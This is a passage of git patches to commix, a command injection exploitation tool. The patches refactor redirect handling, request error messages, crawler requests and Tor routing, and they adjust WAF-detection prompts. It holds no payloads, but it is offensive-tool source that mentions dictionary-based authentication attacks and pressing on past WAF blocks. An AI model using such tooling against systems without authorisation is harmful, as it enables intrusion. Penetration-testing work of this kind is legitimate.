settings.SINGLE_WHITESPACE in url: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fe93b952e..5af9bd7abb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "54" +REVISION = "55" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5d0161887ac931c2b9a52b07cd6bc55eb0f0f2e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 4 Feb 2023 08:31:59 +0200 Subject: [PATCH 274/560] Minor update --- src/core/main.py | 16 +++++++++++----- src/core/requests/redirection.py | 5 +++-- src/core/requests/requests.py | 4 ++-- src/utils/crawler.py | 2 ++ src/utils/settings.py | 4 ++-- 5 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 8f60b3eebe..cdb16df8de 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -222,10 +222,11 @@ def url_response(url): settings.CHECK_INTERNET = False response = examine_request(request, url) # Check for URL redirection - if not menu.options.ignore_redirects: - redirect_url = redirection.do_check(request, url) - if redirect_url is not None: - url = redirect_url + if type(response) is not bool and settings.FOLLOW_REDIRECT: + if response.geturl() != url: + redirect_url = redirection.do_check(request, url) + if redirect_url is not None: + url = redirect_url return response, url """ @@ -236,6 +237,8 @@ def init_injection(url): debug_msg = "Initializing the knowledge base." print(settings.print_debug_msg(debug_msg)) # Initiate heuristic checks. + if not settings.FOLLOW_REDIRECT: + settings.FOLLOW_REDIRECT = True if settings.SKIP_CODE_INJECTIONS: settings.SKIP_CODE_INJECTIONS = False if settings.SKIP_COMMAND_INJECTIONS: @@ -564,7 +567,10 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - + + if menu.options.ignore_redirects: + settings.FOLLOW_REDIRECT = False + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 86018b8e19..a4993ded69 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -71,8 +71,8 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - message += "Do you want to follow the identified redirection? [Y/n] > " + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl() + message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True @@ -82,6 +82,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): settings.HREF_SKIPPED.append(response.geturl()) return checks.check_http_s(response.geturl()) elif redirection_option in settings.CHOICE_NO: + settings.FOLLOW_REDIRECT = False if settings.CRAWLING: settings.HREF_SKIPPED.append(url) return url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 473f961280..7d7be61904 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -333,7 +333,6 @@ def request_failed(err_msg): pass else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " - err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: if settings.MULTI_TARGETS: @@ -341,12 +340,13 @@ def request_failed(err_msg): else: err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: - err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. " + err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " if settings.MULTI_TARGETS: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: raise SystemExit() + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): diff --git a/src/utils/crawler.py b/src/utils/crawler.py index d8509ba8b5..4c5d495f02 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -190,6 +190,8 @@ def request(url): headers.check_http_traffic(request) if menu.options.proxy: response = proxy.use_proxy(request) + elif menu.options.tor: + response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if not menu.options.ignore_redirects: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5af9bd7abb..568b180a42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "55" +REVISION = "56" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1228,7 +1228,7 @@ def sys_argv_errors(): SITEMAP_CHECK = None -FOLLOW_REDIRECT = False +FOLLOW_REDIRECT = True # Set predefined answers (e.g. "quit=N,follow=N"). ANSWERS = "" From 6b10092c1771a89b0417e5f4b2c989453549de3e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 5 Feb 2023 08:44:24 +0200 Subject: [PATCH 275/560] Multiple minor fixes & updates --- src/core/injections/controller/checks.py | 78 ++-------- .../techniques/classic/cb_handler.py | 1 - .../techniques/classic/cb_injector.py | 2 +- .../techniques/eval_based/eb_injector.py | 2 +- src/core/main.py | 11 +- src/core/requests/headers.py | 9 +- src/core/requests/redirection.py | 34 ++-- src/core/requests/requests.py | 145 +++++++++++++----- src/utils/crawler.py | 27 +--- src/utils/settings.py | 2 +- 10 files changed, 151 insertions(+), 160 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 37b580ddaf..03373b53cc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -35,6 +35,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import requests from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init @@ -161,70 +162,14 @@ def user_aborted(filename, url): """ Connection exceptions """ -def connection_exceptions(err_msg, url): - settings.VALID_URL = False - try: - error_msg = str(err_msg.args[0]).split("] ")[1] - except IndexError: - try: - error_msg = str(err_msg.args[0]) - except IndexError: - error_msg = str(err_msg) - # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: - # print(settings.SINGLE_WHITESPACE) - if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): - settings.MAX_RETRIES = 1 - error_msg = "Can't establish SSL connection" - elif "connection refused" in str(error_msg).lower(): - settings.MAX_RETRIES = 1 - else: - if settings.TOTAL_OF_REQUESTS == 1: - if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(error_msg): - print(settings.SINGLE_WHITESPACE) - if "IncompleteRead" in str(error_msg): - warn_msg = "There was an incomplete read error while retrieving data " - warn_msg += "from the target URL " - else: - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " - if not menu.options.random_agent: - warn_msg += "'--random-agent' switch and/or " - warn_msg += "'--proxy' option." - print(settings.print_warning_msg(warn_msg)) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - raise SystemExit() - elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected. " - error_msg += "Please check all provided parameters and/or provide missing ones" - elif "BadStatusLine" in str(error_msg): - error_msg = "connection dropped or unknown HTTP " - error_msg += "status code received." - elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): - error_msg = "connection was forcibly closed by the target URL." - elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code: - error_msg = "Not authorized, try to provide right HTTP " - error_msg += "authentication type and valid credentials." - if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - error_msg += " If this is intended, try to rerun by providing " - error_msg += "a valid value for option '--ignore-code'" - if settings.MAX_RETRIES > 1 and not settings.CRAWLING: - info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." - print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")." - _ = "" - if isinstance(url, str): - _ = " Skipping URL '" + str(url) + "'." - if settings.MULTI_TARGETS or settings.CRAWLING: - if len(_) == 0: - _ = " Skipping to the next target." - error_msg = error_msg + _ - if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: - print(settings.print_critical_msg(error_msg)) - if not settings.MULTI_TARGETS and not settings.CRAWLING: - raise SystemExit() +def connection_exceptions(err_msg): + requests.request_failed(err_msg) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: time.sleep(settings.DELAY_RETRY) + if not settings.MULTI_TARGETS and not settings.CRAWLING: + info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." + print(settings.print_info_msg(info_msg)) if not settings.VALID_URL : if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS: raise SystemExit() @@ -735,9 +680,10 @@ def continue_tests(err): return True # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : + if (str(err.code) == settings.FORBIDDEN_ERROR or \ + str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION : # Check if "--skip-waf" option is defined # that skips heuristic detection of WAF/IPS/IDS protection. settings.WAF_ENABLED = True @@ -746,8 +692,8 @@ def continue_tests(err): try: while True: - message = "Do you want to ignore the error (" + str(err.code) - message += ") message and continue the tests? [Y/n] > " + message = "Do you want to ignore the response HTTP error code (" + str(err.code) + message += ") and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 03ea59c81b..3d0c67f6de 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -170,7 +170,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results(response, TAG, randvcalc) - if settings.VERBOSITY_LEVEL == 0: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 14b214df45..83db56226b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -96,7 +96,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True: + if type(response) is bool and response != True or response is None: return False else: # Check the execution results diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index c9d22ba4f6..efb42160b0 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -91,7 +91,7 @@ def injection_test(payload, http_request_method, url): Evaluate test results. """ def injection_test_results(response, TAG, randvcalc): - if type(response) is bool and response != True: + if type(response) is bool and response != True or response is None: return False else: html_data = checks.page_encoding(response, action="decode") diff --git a/src/core/main.py b/src/core/main.py index cdb16df8de..14bbca449e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -222,9 +222,9 @@ def url_response(url): settings.CHECK_INTERNET = False response = examine_request(request, url) # Check for URL redirection - if type(response) is not bool and settings.FOLLOW_REDIRECT: + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: if response.geturl() != url: - redirect_url = redirection.do_check(request, url) + redirect_url = redirection.do_check(request, url, response.geturl()) if redirect_url is not None: url = redirect_url return response, url @@ -897,11 +897,11 @@ def main(filename, url): if not check_for_injected_url(url): settings.SKIP_VULNERABLE_HOST = None http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 perform_check = True while True: - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url)) message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: @@ -933,6 +933,9 @@ def main(filename, url): main(filename, url) except: pass + else: + url_num += 1 + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) if url_num == len(clean_output_href): raise SystemExit() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c4243b47ba..e4b1482cab 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -138,7 +138,7 @@ def http_open(self, req): self.do_open(connection, req) return super(connection_handler, self).http_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg, url=req) + checks.connection_exceptions(err_msg) def https_open(self, req): try: @@ -146,7 +146,7 @@ def https_open(self, req): self.do_open(connection, req) return super(connection_handler, self).https_open(req) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - checks.connection_exceptions(err_msg, url=req) + checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -188,9 +188,6 @@ def https_open(self, req): settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS else: settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 - if settings.VERBOSITY_LEVEL >= 1: - debug_msg = "Got " + str(err_msg) - print(settings.print_debug_msg(debug_msg)) if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break @@ -199,7 +196,7 @@ def https_open(self, req): pass else: if not settings.INIT_TEST: - checks.connection_exceptions(err_msg, url=request) + checks.connection_exceptions(err_msg) break try: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index a4993ded69..e7245ed4b2 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -24,15 +24,16 @@ from src.utils import menu from src.utils import settings from src.utils import common +from src.core.requests import requests from socket import error as SocketError -from src.thirdparty.six.moves import http_client as _http_client from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(request, url): +def do_check(request, url, redirect_url): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -58,12 +59,17 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - opener = _urllib.request.build_opener(RedirectHandler()) + + try: + opener = _urllib.request.build_opener(RedirectHandler()) + _urllib.request.install_opener(opener) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + requests.crawler_request(redirect_url) + try: - response = opener.open(request, timeout=settings.TIMEOUT) - if url == response.geturl() or (settings.CRAWLING and response.geturl() in settings.HREF_SKIPPED): - return response.geturl() + if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: + return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url else: @@ -71,16 +77,16 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + response.geturl() + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True - info_msg = "Following redirection to '" + response.geturl() + "'. " + info_msg = "Following redirection to '" + redirect_url + "'. " print(settings.print_info_msg(info_msg)) if settings.CRAWLING: - settings.HREF_SKIPPED.append(response.geturl()) - return checks.check_http_s(response.geturl()) + settings.HREF_SKIPPED.append(url) + return checks.check_http_s(redirect_url) elif redirection_option in settings.CHOICE_NO: settings.FOLLOW_REDIRECT = False if settings.CRAWLING: @@ -92,12 +98,6 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): common.invalid_option(redirection_option) pass - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: - if settings.VALID_URL: - checks.connection_exceptions(err_msg, request) - else: - return url - except AttributeError: return url diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7d7be61904..ab91e7e535 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -17,6 +17,7 @@ import sys import time import socket +from socket import error as SocketError from src.utils import menu from os.path import splitext from src.utils import settings @@ -25,16 +26,50 @@ # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 from src.utils import common +from src.utils import crawler from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers +from src.core.requests import requests from src.core.requests import parameters +from src.core.requests import redirection from src.core.requests import authentication from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Do a request to target URL. +""" +def crawler_request(url): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(url) + headers.do_check(request) + headers.check_http_traffic(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: + if response.geturl() != url: + href = redirection.do_check(request, url, response.geturl()) + if href != url: + crawler.store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS_NUM += 1 + request_failed(err_msg) + """ Estimating the response time (in seconds). """ @@ -308,6 +343,7 @@ def get_request_response(request): Exceptions regarding requests failure(s) """ def request_failed(err_msg): + settings.VALID_URL = False try: error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: @@ -315,62 +351,95 @@ def request_failed(err_msg): error_msg = str(err_msg.args[0]) except IndexError: error_msg = str(err_msg) - if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): - err = "Unable to connect to " + + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + settings.MAX_RETRIES = 1 + error_msg = "Can't establish SSL connection. " + if settings.MULTI_TARGETS or settings.CRAWLING: + error_msg = error_msg + "Skipping to the next target." + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return True + + elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + settings.MAX_RETRIES = 1 + err = "Unable to connect to the target URL" if menu.options.proxy: - err += "proxy" + err += " or proxy" + err = err + " (Reason: " + str(error_msg) + "). " + if settings.MULTI_TARGETS or settings.CRAWLING: + err = err + "Skipping to the next target." + error_msg = err + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() else: - err += "the target URL" - err = err + " (Reason: " + str(error_msg) + ")." - print(settings.print_critical_msg(err)) - raise SystemExit() + return True - settings.VALID_URL = False - reason = "" - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass + elif settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR or settings.PERFORM_CRACKING: + return True else: err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += ". " else: err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - if (menu.options.auth_type and menu.options.auth_cred) or not settings.MULTI_TARGETS: + if not settings.CRAWLING: + if menu.options.auth_type and menu.options.auth_cred: raise SystemExit() - if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ - settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ - settings.NOT_FOUND_ERROR in str(err_msg).lower(): - reason = str(err_msg) + elif settings.TOTAL_OF_REQUESTS == 1: + if "IncompleteRead" in str(error_msg): + error_msg = "There was an incomplete read error while retrieving data " + error_msg += "from the target URL." + elif "infinite loop" in str(error_msg): + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones." + elif "BadStatusLine" in str(error_msg): + error_msg = "Connection dropped or unknown HTTP " + error_msg += "status code received." + elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): + error_msg = "Connection was forcibly closed by the target URL." + elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + warn_msg = "The web server responded with an HTTP error code (" + str(status_code[0]) + ") which could interfere with the results of the tests." + print(settings.print_warning_msg(warn_msg)) + return True + else: + error_msg = "The provided target URL seems not reachable. " + error_msg += "In case that it is, please try to re-run using " + if not menu.options.random_agent: + error_msg += "'--random-agent' switch and/or " + error_msg += "'--proxy' option." + print(settings.print_critical_msg(error_msg)) + if not settings.CRAWLING: + raise SystemExit() + else: + return True + + elif settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + (menu.options.ignore_code and menu.options.ignore_code in str(error_msg).lower()): + return True - if settings.MULTI_TARGETS: - if len(reason) != 0 and (not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(reason)] or \ - menu.options.ignore_code and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR): - reason = reason + ". Skipping to the next target." - print(settings.print_critical_msg(reason)) - raise SystemExit() - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False else: - err_msg = reason - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ - (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \ - settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - return True - else: - if len(err_msg) != 0 and not [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if settings.VERBOSITY_LEVEL >= 1: + if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: + debug_msg = "Got " + str(err_msg) + print(settings.print_debug_msg(debug_msg)) + else: + print(settings.print_critical_msg(err_msg)) + return True """ Check if target host is vulnerable. (Cookie-based injection) diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 4c5d495f02..e9be40c905 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -21,7 +21,7 @@ from src.utils import common from src.core.injections.controller import checks from src.core.requests import headers -from socket import error as SocketError +from src.core.requests import requests from src.core.requests import proxy from src.core.requests import redirection from src.thirdparty.six.moves import http_client as _http_client @@ -180,30 +180,7 @@ def store_hrefs(href, identified_hrefs, redirection): Do a request to target URL. """ def request(url): - try: - # Check if defined POST data - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - headers.check_http_traffic(request) - if menu.options.proxy: - response = proxy.use_proxy(request) - elif menu.options.tor: - response = tor.use_tor(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if not menu.options.ignore_redirects: - href = redirection.do_check(request, url) - if href != url: - store_hrefs(href, identified_hrefs=True, redirection=True) - return response - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: - if url not in settings.HREF_SKIPPED: - settings.HREF_SKIPPED.append(url) - settings.CRAWLED_SKIPPED_URLS_NUM += 1 - checks.connection_exceptions(err_msg, url) + return requests.crawler_request(url) """ Enable crawler. diff --git a/src/utils/settings.py b/src/utils/settings.py index 568b180a42..a7d2dca63f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "56" +REVISION = "57" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e24a953c9d49940972712fd6053f69002a81408b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Feb 2023 07:49:28 +0200 Subject: [PATCH 276/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/6b10092c1771a89b0417e5f4b2c989453549de3e --- src/core/injections/controller/checks.py | 25 +- src/core/requests/requests.py | 559 ++++------------------- src/utils/crawler.py | 79 ++-- src/utils/settings.py | 2 +- 4 files changed, 138 insertions(+), 527 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 03373b53cc..4b38beb9ef 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -680,20 +680,19 @@ def continue_tests(err): return True # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or \ - str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined - # that skips heuristic detection of WAF/IPS/IDS protection. - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." - print(settings.print_warning_msg(warn_msg)) - try: + if (str(err.code) == settings.FORBIDDEN_ERROR or \ + str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ + not menu.options.skip_waf and \ + not settings.HOST_INJECTION : + # Check if "--skip-waf" option is defined (to skip heuristic detection of WAF/IPS/IDS protection). + settings.WAF_ENABLED = True + warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." + print(settings.print_warning_msg(warn_msg)) + while True: - message = "Do you want to ignore the response HTTP error code (" + str(err.code) - message += ") and continue the tests? [Y/n] > " + message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: return True @@ -704,6 +703,8 @@ def continue_tests(err): else: common.invalid_option(continue_tests) pass + except AttributeError: + pass except KeyboardInterrupt: raise diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index ab91e7e535..8cab82f762 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -218,18 +218,6 @@ def estimate_response_time(url, timesec): ignore_end = time.time() start = start - (ignore_start - ignore_end) - except socket.timeout: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The connection to target URL has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except _urllib.error.URLError as err_msg: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(str(err_msg.reason) + ".")) - raise SystemExit() except ValueError as err_msg: if settings.VERBOSITY_LEVEL != 0: @@ -237,6 +225,9 @@ def estimate_response_time(url, timesec): print(settings.print_critical_msg(str(err_msg) + ".")) raise SystemExit() + except Exception as err_msg: + request_failed(err_msg) + end = time.time() diff = end - start @@ -273,77 +264,12 @@ def estimate_response_time(url, timesec): return timesec, url_time_response -""" -Get the response of the request -""" -def get_request_response(request): - - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy. - if menu.options.proxy: - response = proxy.use_proxy(request) - - # Check if defined Tor. - elif menu.options.tor: - try: - response = tor.use_tor(request) - except _urllib.error.HTTPError as err_msg: - if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = 